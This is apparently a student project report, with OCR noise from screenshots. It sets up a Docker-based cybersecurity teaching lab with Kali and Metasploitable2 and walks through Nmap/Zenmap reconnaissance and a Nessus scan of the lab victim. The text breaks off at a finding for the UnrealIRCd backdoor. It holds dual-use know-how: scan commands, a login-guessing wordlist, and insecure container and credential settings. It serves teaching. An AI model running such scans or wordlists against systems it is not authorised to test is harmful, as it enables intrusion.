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Abstract

One of the primary topics to be concerned about in this digital era of the twenty-first century
is cybersecurity. The fast advancement of technology, as well as the widespread availability of
the Internet, has broadened the scope of cyber attacks. Due to a lack of skilled cybersecurity
professionals, several institutions in Bangladesh are providing cybersecurity courses as part of
their graduate programs, allowing students to learn cybersecurity skills and develop careers in
the field. Students learn how to defend computer operating systems, networks, and data against
cyberattacks in a graduate level cybersecurity course. They also learn how to keep track of
systems and respond to security incidents. Instructors frequently feel the need for a hands-on
lab environment for their students to put what they have learned in the classroom into practice.
To have a clear understanding and develop appropriate abilities in cybersecurity, students must

have the chance to undertake real lab work as part of their learning process.

The objectives of this project is to establish a cybersecurity lab environment for a generic
graduate or postgraduate level cybersecurity education leveraging the benefits of hardware
virtualization and containerization. Because the software applications used in cybersecurity lab
exercises aren't always trusted, hardware virtualization technologies will be employed to
separate the lab environment from the host system. If a guest system is compromised while
doing a cybersecurity lab exercise, the snapshot function of the hypervisor software used in
hardware virtualization will be deployed to restore the guest machine to its former state. On
top of the guest computer, containerization technology will be deployed to offer numerous
virtual machines for each student participating in a cybersecurity lab exercise. Containers will

make optimal use of resources and eliminate the need for virtual machines to boot up.
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Chapter 1

Introduction

1.1 Background

In this computerized era of 21 century, cybersecurity is one of the major issues to be concerned
about. The rapid development of technology and the availability of the internet to most of people
has broadened the pathway of cyberattacks. It is an earnest call of the time to get the knowledge

and learn about cybersecurity to restrain cyberattacks [1][2].

Nowadays many countries are providing cybersecurity education due to the scarcity of
cybersecurity professionals [1]. Meanwhile, numerous universities in Bangladesh are offering
cybersecurity courses in their graduate programs, which will help the students to gain
cybersecurity knowledge as well to build their careers on it. In a cybersecurity class, students
learn how to protect computer operating systems, networks, and data from cyberattacks. They
also learn how to monitor systems and mitigate threats when they happen. While taking classes,
instructors often feel the necessity of a hands-on lab environment for their students so that they
can practically implement the concept that they have learned in the classroom [5]. So, through
the process of learning, besides theoretical knowledge, students must need the opportunity to
do practical lab work to have an evident understanding and to have adequate skills in
cybersecurity [1] [2] [5].

1.2 Present State of the Problem

To accomplish the goal of creating a cybersecurity lab, each student needs at least two
interconnected machines. One machine as a victim and the other as an attacker [1]. A student
may need more machines according to the requirement of a lab exercise. Creating a
cybersecurity lab environment by using dedicated physical machines for each student can

provide a way to achieve realism [1] [5].



Remaining Network —Q

Cloud

Router

] ] -] -
oy Foo— Foo— o=y Fo— 'y
Student 1 Student 2

|

Foo— "y oy Prrinii Ny oy
Student 3 Student 4

Fig 1.1: Physical Machine Based Cybersecurity Lab Environment

But it is very expensive to purchase and intricate to maintain several physical machines. It also
takes a lot of space as well as consumes high electrical power [1] [5] [6]. That is why it is not
financially or administratively feasible to create a cybersecurity lab by providing physical

machines [5].

An efficient way to create a cybersecurity lab is using virtualization technology. Virtualization
is the process of creating a virtual version of something rather than creating an actual one. The
most commonly used virtualization technology is hardware virtualization which refers to the
creation of an isolated virtual machine that acts like a real computer. The software that creates
a virtual machine is called a hypervisor or virtual machine monitor (VMM) [4]. The operating
system on which hypervisor runs one or more operating systems is called a host operating
system or a host machine and each virtual machine is called a guest machine or a guest operating
system. The guest operating systems are isolated from each other as well as from the host

operating system [3].
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Fig 1.2: Hardware Virtualization Based Cybersecurity Lab Environment

If we create a cybersecurity lab environment by using hardware virtualization, we can use one
virtual machine as an attacker and one virtual machine as a victim. Also, if a student needs more
attacker or victim machines, they can create virtual machines as long as resources are available

in the host operating system.

Previously we needed several physical machines to create a cybersecurity lab, but now with the
help of hardware virtualization, we do not need several physical machines as we can run
multiple virtual machines on top of a single powerful physical machine that lessens a huge
amount of expense [6]. As we do not have to manage so many physical machines, simplified
management is another advantage of virtualization technology. It also reduces physical machine
storage space and the use of electrical power substantially. Another advantage of virtualization
technology is, the guest operating system is isolated from the host operating system which

provides security.

Besides these advantages, there are some drawbacks of virtualization. One of the crucial
problems with virtualization is the over-allocation of resources which causes waste of resources.
In virtualization, we create a virtual computer, allocate RAM to it, allocate hard drive space to
it, and then install the operating system on that virtual computer. Since we are creating the
instance of an operating system, the issue is, whenever the instance is started within the virtual
environment, all the resources that have been assigned to it, are being started to use whether
they need it or not. Another vital problem with virtualization is we have to go through the boot
process which takes a lot of time. As the cybersecurity lab environment needs to run multiple
virtual machines, if we create a cybersecurity lab environment using hardware virtualization,

we need to provide powerful physical machines to each student. Purchasing powerful physical



machines is also not cost-effective. And a student needs to go through the boot process of every
virtual machine in every cybersecurity lab experiment which wastes a lot of time in the

cybersecurity laboratory.

To reduce the over-allocation of resources and eliminate the time required for the boot process,
we can use operating-system-level virtualization to create a cybersecurity lab environment [1].
Operating-system-level virtualization, also known as containerization, refers to an operating
system feature in which the kernel allows the existence of multiple isolated user-space
instances. Such instances are called containers. A container engine is software that is required
to run containers. The container uses namespaces and cgroup to isolate one container from the
others and the host. Isolating the system resources per process or group of processes is called
name-spacing [4]. Limiting and regulating the system resource allocation to the isolated
process/processes is called control-groups (cgroups) [4]. A computer program running on an
ordinary operating system can see all resources of that computer. However, programs running

inside a container can only see the resources assigned to the container.
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Fig 1.3: Containerization Based Cybersecurity Lab Environment

As a container does not install a new operating system and it uses the same kernel of the host
operating system, we do not have to go through the boot process in a cybersecurity lab
environment. But as containers share the kernel of the host operating system, containers are less
secure than virtual machines [3] [5]. As containers share the resources of the host operating
system, and it does not need a fixed allocation of resources, creating a cybersecurity lab using

containerization can provide proper utilization of resources [4].



1.3 Objectives

The objective of the project is to create a cybersecurity lab environment using the advantages
of hardware virtualization and containerization for a generic graduate or postgraduate level
cybersecurity education. As the software programs contained in cybersecurity lab exercises are
not, in general, trusted, hardware virtualization technology will be used to isolate the lab
environment from the host machine to provide security. If the guest machine gets affected while
experimenting with a cybersecurity lab exercise, the snapshot feature of hypervisor software
used in hardware virtualization will be used to roll back the previous state of the guest machine
[5]. Containerization technology will be used on top of the guest machine to provide multiple
virtual machines required for each student in a cybersecurity lab exercise. Containers will utilize

the resources properly and eliminate the boot process required to start a machine.



Chapter 2
Proposed Model and Implementation

2.1 Proposed Model

A cybersecurity lab environment will be created employing virtualization and containerization
technology in the proposed model. Each student will have their own physical machine to
practice cybersecurity lab activities on. On the host operating system, hypervisor software will
be deployed to run a guest operating system that will create an isolated lab environment. In the
guest operating system, students will undertake cybersecurity lab activities. Containerization
technology will be employed in the guest operating system so that students may perform
cybersecurity lab exercises with numerous attackers or victims without wasting resources or

waiting for the boot process to complete.
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Fig 2.1: Proposed Cybersecurity Lab Environment



2.2 Implementation

The architecture of the proposed cybersecurity model is given bellow

Installed Built in
Services Services Zenmap Nessus
Container Container
(Application) (Application)
Attacker_1 Victim_1
Container Container
(Kali Linux) (Metasploitable2)

Container Engine (Docker Engine 20.10.10)

Guest Operating System (Ubuntu 20.04.3 LTS)

Host Operating System (Microsoft Windows 10 Pro)

| |
| |
| Hypervisor (VMware® Workstation 16 Pro) ‘
| |
| Hardware Infrastructure (HP EliteBook 840 G1) ‘

Fig 2.2: Architecture of the Proposed Cybersecurity Lab Environment
To implement the proposed model of the cybersecurity lab environment, the "Microsoft
Windows 10 Pro" operating system has been used as the host operating system in the "HP
EliteBook 840 G1" physical machine.

P Type here to search

Fig 2.3: Microsoft Windows 10 Pro as Host Operating System



The hypervisor software "VMware® Workstation 16 Pro” has been installed on the host

operating system.

B VMware Workstation - o
File Edit View VM Tabs Help O g O
i X
L'b_rary i Home v csL
£ Type hereto search -

1 My Computer
[T Shared VMs (Deprecated)

WORKSTATION 16 PRO™

® [ P

Create a New Open a Virtual Connect to a
Virtual Machine Machine Remote Server

vmware

Fig 2.4: VMware® Workstation 16 Pro As Hypervisor

In VMware Workstation, the "Ubuntu 20.04.3 LTS" operating system has been used as the guest

operating system.

(@ CSL- VMware Workstation D,
Fle Edt View VWM Tbs Hep | || ~ | &  ®© @ @ | [0 B O -
Hbey % 7 Home [ csL

Type here to search

Activities oo 11 11:40

G cst 3

) Shared VMs (Deprecated| *s

To direct input to this VM, move the mouse pointer inside or press Ctrl+G. ODREE G [=]

Fig 2.5: Ubuntu 20.04.3 LTS As Guest Operating System




The container engine "Docker Engine 20.10.11" has been installed to create and run multiple

virtual machines or applications. The processes for installing Docker Engine are described

below
1.

I

Client: Docker Engine - Community

Update the apt package index and install packages to allow apt to use a repository over
HTTPS:

$ sudo apt-get install apt-transport-https ca-certificates curl gnupg Isb-release

Add Docker’s official GPG key:

$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -0
lusr/share/keyrings/docker-archive-keyring.gpg

Use the following command to set up the stable repository

$ echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg]
https://download.docker.com/linux/ubuntu  $(Isb_release -cs) stable™ | sudo tee
[etc/apt/sources.list.d/docker.list > /dev/null

Update the apt package index, and install the latest version of Docker Engine:

$ sudo apt-get update

$ sudo apt-get install docker-ce docker-ce-cli containerd.io

Now allow non-privileged users to run Docker commands

$ sudo usermod -aG docker SUSER

$ reboot

esl@csL: ~

:~S docker version

Version:

API version:
Go version:
Git commit:
Built:
0S/Arch:
Context:
Experimental:

20.16.11

1.41

go1.16.9

dea9396

Thu Nov 18 00:37:06 2021
linux/amd64

default

true

Server: Docker Engine - Community

Engine:
Version:

API version:
Go version:
Git commit:
Built:
0S/Arch:
Experimental:
containerd:
Version:
GitCommit:
runc:
Version:
GitCommit:
docker-init:
Version:

GiltCommit:
=y |

20.10.11

1.41 (minimum version 1.12)
gol.16.9

847da18

Thu Nov 18 ©0:35:15 20821
linux/amd64

false

1.4.12
7bl1cfaabd73bb86967dd23182b9347b4245eb5d

1.0.2
v1.0.2-0-g52b36a2

0.19.0
de40ad®

Fig 2.6: Docker Engine 20.10.11 As Container Engine




For the lab environment, 4 docker images are used Kali Linux OS image, Metasploitable2 OS
image, Zenmap Application image and Nessus Application image. Use the following

command to pull these docker images from the official docker repository.

$ docker search kali

$ docker pull kalilinux/kali-rolling

$ docker search metasploitable

$ docker pull tleemcjr/metasploitable2

$ docker search zenmap

$ docker pull alexandreoda/zenmap

$ docker search nessus

$ docker pull stevemcgrath/nessus_scanner

Now run the following command to create the

$ docker network create csl-network --attachable --subnet 10.10.10.0/29

To create containers using these images and make them ready to perform the cybersecurity

lab exercise use the following steps

Kali Linux Container

e Creating Kali Linux container

$ docker run --name attacker_1 -it --hostname attacker 1 --network csl-network --
ip="10.10.10.2" --cap-add ALL --env DISPLAY=3$DISPLAY -v /dev/shm:/dev/shm --
device /dev/snd --device /dev/dri --mount type=bind,src=/tmp/.X11-

unix,dst=/tmp/.X11-unix kalilinux/kali-rolling /bin/bash
¢ Install the following packages that will be used in the cyber security lab exercise.

# apt-get install net-tools iputils-ping vim  //ifconfig, ping, text editor

# apt-get install hicolor-icon-theme libcanberra-gtk* libgl1-mesa-dri libgl1l-mesa-glx
libpangoxft-1.0-0 libpulseO libv4Il-0 fonts-symbola

# apt-get install nmap firefox-esr metasploit-framework armitage burpsuite netcat-
openbsd
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e Create username and password files

# mkdir /home/Files
# cd /nome/Files
# vim user_list.txt
admin
user
root
test
guest
msfadmin

postgres

# vim password_list.txt
admin
user
root
test
guest
msfadmin

postgres

Metasploitable2 Container

e Creating Metasploitable2 Linux container

$ docker run --name victim_1 -it --hostname victim_1 --network csl-network --
ip="10.10.10.3" tleemcjr/metasploitable2 /bin/bash

Zenmap Container

e Create Zenmap Container

$ docker run -d --name zenmap --network csl-network --ip="10.10.10.4" --user root -e
DISPLAY -e XAUTHORITY="/xauthority' -v ${HOME}:/home/zenmap -v

ftmp/. X11-unix/:/tmp/.X11-unix/ -v ${XAUTHORITY}:/xauthority:ro
alexandreoda/zenmap

11



Nessus Container

e Create Nessus Container
$ docker run -d --name nessus --network csl-network --ip="10.10.10.5" -e
ADMIN_USER="csl|" -e ADMIN_PASS="cs|" -p 8834:8834
stevemcgrath/nessus_scanner

e Browser the following link and active Nessus with the activation code.
https://10.10.10.5:8834/
Activation Code: XXXX-XXXX-XXXX-XXXX-XXXX

Since the proposed mode are ready, its time to perform some cybersecurity lab exercise in the

proposed cybersecurity model.
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Chapter 3

Lab 01 - Active Reconnaissance and Vulnerability Scanning

3.1 Overview

This lab exercise explores the use of the Zenmap tool for active reconnaissance and the Nessus

tool for vulnerability scanning.

3.2 Background Information

Reconnaissance is the process of gathering information about targets while remaining
undetected. Passive and active reconnaissance are the two types of reconnaissance. Passive
reconnaissance is based on information that is freely available to the public. It has the advantage
of being inconspicuous, but it also has the downside of being limited to only a few websites
and being unreliable. Active reconnaissance, on the other hand, interacts directly with the target
to obtain system-level data. It can be extremely beneficial and accurate, but it comes with the
risk of being discovered. Zenmap is the graphical user interface of Nmap which aims to make
Nmap easy to use for novices while providing complex functionality for advanced users. It is
a free and open-source tool that uses raw IP packets in novel ways to determine what hosts are
available on the network, what services (application name and version) they are offering, what

operating systems (and OS versions) they are running, and dozens of other characteristics.

Vulnerability scanning is an automated process of proactively identifying security
vulnerabilities in computer systems and software running on them. Vulnerability scans not only
discover security flaws but also forecast how effective countermeasures will be in the event of
a threat or attack. Nessus is the most well-known and effective vulnerability scanning tool,
capable of scanning computer systems and discovering security holes quickly and effectively.
Nessus works by analyzing each port on a computer, determining what service it is running,
and then testing that service for vulnerabilities that may be exploited by an attacker to launch
a harmful attack. Nessus performs its scans by utilizing plugins that contain vulnerability
information, a simplified set of remediation actions and the algorithm to test for the presence

of the security issue.
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3.3 Performing the Lab

Step 1: Initialize the Victim Container
First, start and attach the victim container by opening a GNOME Terminal on the Ubuntu

machine and running the following commands

docker start victim_1

docker attach victim_1

M~ csl@cCsL: ~

:~S$ docker start victim_ 1
victim_1
:~5 docker attach wictim_1

root@victim_1:/#

Fig 3.1: Start and Attach the Victim Container

In the victim container, all services are disabled by default. Run the following command in the

terminal of the victim container to start the required services.

services.sh

I+1 @victim_1: /

root@victim_1:/# services.sh
* Starting web server apachez
apache2: Could not reliably determine the server's fully qualified domain name,
using 10.10.108.3 for ServerMame
oK
* Starting deferred execution scheduler atd oK
* Starting periodic command scheduler crond oK
Starting distccd
* Starting MySQL database server mysqld oK
* Checking for corrupt, not cleanly closed and upgrade needing tables.
Configuring network interfaces...
Starting portmap daemon...
Starting Postfix Mail Transport Agent postfix
Starting PostgreSQL 8.3 database server
Starting ftp server proftpd
Starting Samba daemons
arting network management services: snmpd.
* Starting OpenBSD Secure Shell server sshd
* Starting system leg daemon...
snmpd[71@]: error finding row index in _ifXTable_container_row_restore

* Starting Tomcat servlet engine tomcat5.5

* Starting internet superserver xXinetd

* Doing Wacom setup...

* Running local boot scripts (/etc/frc.local)
nohup: appending output to "nohup.out’

nohup: appending output to "nohup.out’

root@victim_1:/# I

Fig 3.2: Start Necessary Services of the Victim Container
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Step 2: Start Zenmap Container
Open another GNOME Terminal in the ubuntu machine and run the following command to

start the zenmap container.

docker start zenmap

I+

5 docker start zenmap

Zenmap

Fig 3.3: Start the Zenmap Container

Scan Tools Profile Help

Target: ‘ w | Profile: ‘Intense scan

Scan| Cance
Command: |nmap T4 -A -v
I Hosts Services Nmap Output | Ports / Hosts |Topo|ngy | Host Details | Scansl

v Details

0s ‘Hcst - ‘

Filter Hosts

Fig 3.4: Zenmap
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Step 3: Get the Network Information of the Zenmap Container
In the GNOME Terminal of the ubuntu machine, run the following command to get the network

information of the zenmap container.

docker inspect zenmap -f "{{json .NetworkSettings.Networks }}"

[+ csl@csL: ~

:~S docker inspect zenmap -f "{{json .NetworkSettings.Networks }}"
{"esl-network":{"IPAMConfig":{"IPv4Address":"10.10.10.4"},"Links":null,"Aliases":["893
f7124d417"], "NetworkID" : "d@d4a4f47abbed7c7519990dcc29fe@af95c74182df0d19251829bd2d57bb

olntID":"3f9b10ed7acb5454d74d665c7353a4ac1f033d4c6a38d274bc12d6c25530e4c8","

":"10.10.10.1","IPAddress":"10.10.108.4","IPPrefixlLen" :29 , RIS 0E | A o] Kol )]
allIPvoAddress”:"","GlobalIPv6PrefixLen”:0, "MacAddress":"02:42:0a:0a:0a:04","DriverOpts
"rnull}}

=

Fig 3.5: Network Information of the zenmap Container

So, the IP address of the zenmap container is 10.10.10.4 which is under the 10.10.10.0/29
network and the gateway is 10.10.10.1.

Step 4: Perform Active Reconnaissance

Host Discovery

One of the first stages of network reconnaissance is host discovery. The adversary generally
starts with a target network and utilizes a variety of approaches to see whether any hosts are
present. Ping Sweep, also known as ICMP Sweep or Ping Scan a basic network scanning
technique used to identify active hosts on a network. While the ping command is used to ping
a single host to identify its existence, Ping scan allows to ping multiple IP addresses
simultaneously. By default, Ping Scan uses an ICMP echo request, TCP SYN to port 443, TCP
ACK to port 80, and an ICMP timestamp request to perform host discovery. Only SYN packets
are sent to ports 80 and 443 on the target when run by an unprivileged user. ARP requests are

used when a privileged user tries to scan targets on a local ethernet network.
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To perform the Ping Scan, Type the network “10.10.10.0/29” in the target field of the Zenmap,

change the profile to “Ping scan” and click the “Scan” button.

Scan Tools Profile Help

Target: |10.10.10.0i29 w | Profile: |Ping scan ¥ | Scan| Cancel

Command: |nmap -sn 10.10.10.0/29

I Hosts Services ‘ Nmap Output ‘ Ports / Hosts |Topc|ogy | Host Details | Scansl
os ‘ Host - ‘ nmap -sn 10.10.10.0/29 - ‘ Details‘
It Starting Nmap 7.70 ( https://nmap.org ) at 2021-11-27
13:34 UTC

®  893f7124d417 (10.10.10.4) Nmap scan report for victim 1.csl-network (10.10.10.3)

Host is up (0.0000813s latency).

MAC Address: 82:42:0A:0A:0A:03 (Unknown)

Nmap scan report for 893f7124d417 (10.10.10.4)
: Host is up.
: Nmap done: 8 IP addresses (2 hosts up) scanned in
" 8.48 seconds

Filter Hosts ‘

Fig 3.6: Output of the Ping Scan

The corresponding Nmap command of the “Ping Scan” profile is shown on the command field.

The -sn option is used for Ping Scan.
The output of the “Ping Scan” shows two hosts are up on the 10.10.10.0/29 network.

e 10.10.10.3, the victim container

e 10.10.10.4, the zenamp container.
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Now click the “Topology” tab and then click the “Fisheye” tab. This will give a visual

representation of how the network is laid out.

Scan Tools Profile Help

Target: |10.10.10.0.-’29 ¥ | Profile: |Ping scan ¥ | Scan| Cance

Command: |nmap -sn 10.10.10.0/29

I Hosts Services Nmap Outputl Ports / Hosts Topology |Host Details | Scansl

0s | Host Hosts ViewerIFisheye Controls | Legend| Save Graphic|
les
Ik B893f7124d4

O‘Bg3ﬁ'124d41? (10.10.10.4)
.Iucalhust

O victim_1.csl-network (10.10.10.3)

4 - . o L = 5
> Fisheye on ring |1.00 [ with interest factor |2.00 || and spread factor |0.50 .

Filter Hosts

Fig 3.7: Topology of the target network

Port Scanning

Port scanning is the process of identifying the open ports of the target host. Zenmap uses its
“nmap-services” database to identify which ports belong to which service. When running
Zenmap as root, the default scan type is “TCP SYN” whereas unprivileged uses “TCP Connect”

to determine the port status of the target host.

TCP SYN Scan is a type of TCP scan in which an attacker sends SYN packets to the target
host's targeted ports to establish a three-way handshake. The target host responds with SYN-
ACK for open ports, whereas for closed ports, it responds with RST. The attacker then refuses
to respond to the target host to complete the three-way handshake. TCP SYN scan is also

known as a half-open scan.

TCP Connect Scan is another type of TCP Scan similar to TCP SYN Scan, however, the
attacker replies with an ACK response after receiving an SYN-ACK response from the target
host, completing the 3-way-handshake and establishing a connection to the target host, which

will take more resources and time to complete.
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The port status of the port scan is given below

e Open: This implies that an application is listening on this port for connections.

e Closed: The probes were received, but no application is listening on this port.

e Filtered: The probes were not received, and the state could not be determined. It also
implies that the probes are being filtered out.

e Unfiltered: This implies that the probes were received but a state could not be
established.

e Open/Filtered: This implies that the port was open or filtered but Nmap was unable to
determine the state.

e Closed/Filtered: This implies that the port has been closed or filtered, but Nmap was

unable to determine the state.

To perform Port Scanning, type the victim machine’s IP address “7/0.70.10.3” in the target

field of the Zenmap, change the profile to “Quick scan” and click the “Scan” button.

The "Quick Scan" scans the top 100 most often used TCP ports to see if they're up and running,

as well as what services are operating on them.

Scan Tools Profile Help

Target: |10.10.10‘3 w [ Profile: |Quick scan - Scan| Cancel
Command: [nmap -T4 -F 10.10.10.3
Hosts Services Nmap Output ‘ Ports / Hosts | Topology | Host Details | s(:ansl
os |Hcst - ‘ nmap -T4 -F 10.10.10.3 - ‘ Details‘
e Host is up (0.80@0595 latency). =]
Not shown: 86 closed ports
I 893f7124d417 (10.10.10.4) PORT STATE SERVICE

21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
80/tcp open http

i 111/tcp open rpcbind

: 139/tcp open netbios-ssn
445/tcp open microsoft-ds

Filter Hosts

513/tcp open
514/tcp open
2121/tcp open
3306/tcp open
5432/tcp open
8009/tcp open

login|
shell
ccproxy-ftp
mysql
postgresql
ajpl3

MAC Address: 82:42:0A:0A:0A:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.63 secends

Fig 3.8: Quick Scan Output

The corresponding Nmap command of the “Quick Scan” profile is shown on the command
field. The "-T4" option speeds up scans compared to the default scan and the "-F" option scans

fewer ports than the default scan (the 100 most popular ports).

19



Version and OS Detection

Zenmap can perform version detection to find out more about the services that use the open
ports. Version detection uses a variety of probes stored in the "nmap-services-probes” file to
get responses from services. Zenmap sends a probe request to the target host and compares the
result to known responses for various services and versions. Zenmap can also perform OS
detection using TCP/IP stack fingerprinting. It sends a series of TCP and UDP packets to the
remote host and examines practically every response. Zenmap compares the results to its

"nmap-o0s-db™ database and shows the OS information.

To perform version and OS detection, type the victim machine’s IP address “70.10.10.3” in

the target field, change the profile to “Intense scan” and click the “Scan” button.

The "Intense Scan" scans the status of the top 1000 most often used TCP ports, as well as the
service names and versions that are running on those ports, and the target machine's operating

system type and version.

The output of the "Intense Scan™ is noticeably more verbose and difficult to comprehend.
Zenmap makes it simple to grasp the output by breaking it down into several tabs. From the
host list on the left side of the Zenmap window, choose "victim 1.csl-network (10.10.10.3)" and
then select the "Ports / Hosts" tab to examine port status, service information, and version

information.

Scan Tools Profile Help

Target: ‘10‘10‘10‘3 j Profile: |Intense scan j ﬂ Cance

Command: [nmap T4 -A -v 10.10.10.3

Hosts Services Nmap Output Ports / Hosts ‘Topology | Host Details | Scans |
os ‘ Host - | ‘ Port ‘ Protocol ‘ State ‘ Service ‘Versicn
%) @ 21 tcp open ftp vsftpd 2.3.4
@ 893f7124d417 (10.10.10.4) @ 22 tcp open ssh OpenSSH 4.7pl Debian 8ubuntu3 (protocol 2.0)
@ 23 tcp open telnet Linux telnetd
@ 25 tcp open smtp Postfix smtpd
@ 8o tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
@ 111 tcp open rpcbind 2 (RPC #100000)
@ 139 tcp open netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
@ 445 tcp open netbios-ssn  Samba smbd 3.0.28a (workgroup: WORKGROUP)
@ 513 tcp open login
: @ 514  tcp open tcpwrapped
@ 2121 tcp open ftp ProFTPD 1.3.1
@ 3306 tcp open mysql MySQL 5.0.96-0ubuntu3
@ 5432 tcp open  postgresql PostgreSQL DB 8.3.20 - 8.3.23
@ 8009 tcp open ajpl3 Apache Jserv (Protocol v1.3)
@ 512 tcp open exec
@ 1099 tcp open java-rmi Java RMI Registry
@ 1524 tcp open ingreslock
@ 6667 tcp open irc UnreallRCd
@ 8180 tcp open http Apache Tomcat/Coyote JSP engine 1.1
Filter Hosts |

Fig 3.9: Intense Scan Port / Hosts tab

20



The corresponding Nmap command of the “Intense Scan” profile can be found in the command
field. The "-T4" option speeds up scans compared to the default scan, the "-A" option enables
aggressive mode, which includes OS detection, version detection, script scanning, and
traceroute, and the "-v" option increases the level of verbosity.

Now go to the "Host Details" page to find out the operating system of a target host, as well as
a lot of other information.

Scan Tools Profile Help

Target: ‘1[! 10.10.3 w | Profile: ‘Intense scan - Scan| Cancel

Command: [nmap T4 -A -v 10.10.10.3

Hosts Services Nmap Output | Ports / Hosts | Topology Host Details |Scans|

os ‘ Host | = ivictim_1.csl-network (10.10.10.3) =
43 ~ Host Status
State:
@  §93f7124d417 (10.10.10.4) ate B
Open ports: 19

Filtered ports: 0
Closed ports: 981
Scanned ports: 1000

Up time: 1833983 ‘
Last boot: Sat Nov 6 09:18:08 2021

~ Addresses
IPv4: 10.10.10.3

IPv6: Not available
MAC: 02:42:0A:0A:0A:03
~ Hostnames

Name - Type: victim_l.csl-network - PTR

~ Operating System
Name: Linux 2.6.32

Accuracy: 96%
» Ports used

» OS Classes
Filter Hosts ‘ =]

Fig 3.10: Intense Scan Host Details tab

Step 5: Perform Vulnerability Scanning
On the GNOME Terminal of the ubuntu machine run the following command to start the nessus

container.

docker start nessus

[+ csl@csL: ~

:~$ docker start nessus
nessus

i~5

Fig 3.11: Start Nessus Container
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In the GNOME Terminal of the ubuntu machine, run the following command to get the IP

address of the nessus container.

docker inspect nessus -f '‘{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'

csl@CSL: ~ Q = - m]

:~% docker inspect nessus -f '{{range .NetworkSettings.MNetworks}}{{.IPAddress}}{{end}}’
10.10.10.5
5

Fig 3.12: IP Address of the Nessus Container

By default, the Nessus vulnerability scanner communicates over port 8834. Open the Firefox
browser of the ubuntu machine and visit the following link and type the username “csl” and

the password “csl” and click the “Sign In” button to access the Nessus web interface.

https://10.10.10.5:8834/

Nessus Essentials / Login X

(&) O & =° https:;//10.10.10.5:8834/#/

nessus

Essentials

B Remember Me

Otenable

Fig 3.13: Nessus Vulnerability Scanner
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https://10.10.10.5:8834/

On the “My Scans page of Nessuse, click the “New Scan” button to select a scan template.

Nessus Essentials / Folde x

@ My Scans
W Allscans
[i]

Trash

@ Folicies

Plugin Rules

Tenable News

Tales Of Zero-Day
Disclosure: Tenable
Researchers ...

Read More

My Scans

Import

Create a new scan

Fig 3.14: Select New Scan

From the vulnerabilities section of the "Scan Templates™ page, select the "Basic Network Scan™

template.

() Nessus Essentials /Scan %

O & & https://10.10.10.5:8834/#/scans/reports/new

| ]

My Scans

All Scans

= B

Trash

u Palicies

@ Plugin Rules

Tenable News

CODESYS V2 Weh
Server Multiple
Vulnerabilities

Read More

Scan Templates

< Back to Scan:

Scanner

Host Discovery

\%4

Malware Scan

e

Advanced Scan

"]

Basic Network Scan Advanced Dynamic Scan

Intel AMT Security Bypass

& o :

Mobile Device Scan Web Application Tests Credentialed Patch Audit

Fig 3.15: Select Basic Network Scan Template
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Now type “CSL_Test Scan 1 for the scan name, “CSL Test Scan 1” for the description of
the scan, and “10.10.10.3” for the target. Now click the “Launch” button from the drop-down

menu to launch the scan.

Nessus Essentials / Scan: %

(&} Q G https://10.10.10.5:8834/#/scans/reports/new/731a8e52-3ea6-a291-ec0a-d2ff0619c19d7bd788d6be8

New Scan / Basic Network Scan

< k to Scar

B MysScans
i@ AllScans .
Settings Credentials Plugins
il Trash
BASIC
Name CSL_Test_Scan_1
General
u Policies
Schedule
@ Plugin Rules Description CSL_Test_Scan_1

Notifications

DISCOVERY
ASSESSMENT Folder My Scans -
REPORT
Targets
ADVANCED B 10.10.10.3
Upload Targets Add File
Tenable News
Schneider Electric
C-Gate Multiple — - Cancel

Vulnerabilities

Read More

Fig 3.16: Launch the Scan

After completing the scan, a “Check Mark” appeared beside the “Last Modified” value of the
added scan “CSL_Test Scan 1.

Nessus Essentials / Folde x

O G https:;//10.10.10.5:8834/#/scans/folders/my-scans

Settings

My Scans import New Folder

@ My Scans
@ AllSscans
i Trash
Name Schedule Last Modified v
CSL_Test_Scan_1 0On Demand Today at 6:32 PM
@ rolicies

Plugin Rules

£

Tenable News

New Data Reveals
Company Size May Be
Tied To Remot...

Read More

Fig 3.17: Scan Complete
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To check the results of the vulnerability scan, double-click on the “CSL_Test Scan 1”. The

“Hosts” tab will show the summary of the scan.

Nessus Essentials / Folde x

O & https://10.10.10.5:8834/#/scans/reports/5/hosts

CSL—TESt—Scan—1 Configure Audit Trail Launch ~ Report Export ¥
—~ < Back t ans
B My Scans
W Alls
L cans Hosts 1 Vulnerabilities 63 Remediations 3 VPR Top Threats () History | 1
i Trash
Filter =
a Policies Host Vulnerabilities v Scan Details
E Plugin Rules "
10.10.10.3 [Jel 7 17 Policy: Basic Network Scan

Status: Completed
Severity Base: CVSSv2.0

Scanner: Local Scanner
Start Today at 6:24 PM
End: Today at 6:32 PM
Elapsed: 8 minutes

Tenable News Vulnerabilities

Fake Bitcoin, " ® Critical
Ethereum, Dogecoin, @ High
Cardano, Ripple ... Medium
Low
Info

Read More

Fig 3.18: Scan Results 1

Now, click on the “Vulnerabilities” tab to see all the vulnerabilities found in the target host.

Nessus Essentials / Fold

6]} O G https://10.10.10.5:8834/#/scans/reports/5/vulnerabilities

CSL—TESt—Scan—1 Configure Audit Trail Launch ¥ Report Export ¥

P « Back to My Scans

W My Scans !

@ Allscans

) Hosts 1 Vulnerabilities 63 Remediations | 3 VPR Top Threats (J History 1

@ Trash

Filter =
a Policies Sevy Score v Name & Family & Count ¥ Scan Details
Plugin Rules

@ & 100  UnixOpera.. General 1 Policy: Basic Network Scan

Status: Completed
100 UnreallRCd ..  Backdoors 1 Severity Base: CVSSv2.0

Scanner: Local Scanner

7.5 rlogin Servi...  Service detection 1 Start: Today at 6:24 PM
End: Today at 6:32 PM

7.5  rshService.. Service detection 1 Elapsed: 8 minutes
x 2 I
Tenable News - 20 SSL(M..  Service detection 3 Vulnerabilities

New Data Reveals 3 Apach..  Web Servers 3 " ® Critical
Company Size May Be ® High
Tied To Remot... 3 Web5.. Web Servers 3 Medium
Low
Info
fiead ore 6.8 Ssamba Bad..  General 1

Fig 3.19: Scan Results 2
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When a specific vulnerability is selected, detailed information about that vulnerability is

displayed. The "UnrealIRCd" vulnerability is shown below.

Nessus Essentials / Fold

O G https://10.10.10.5:8834/#/scans/reports/5/vulnerabilities/46882

CSL Test Scan_1/ Plugin #46882

Configure Audit Trail

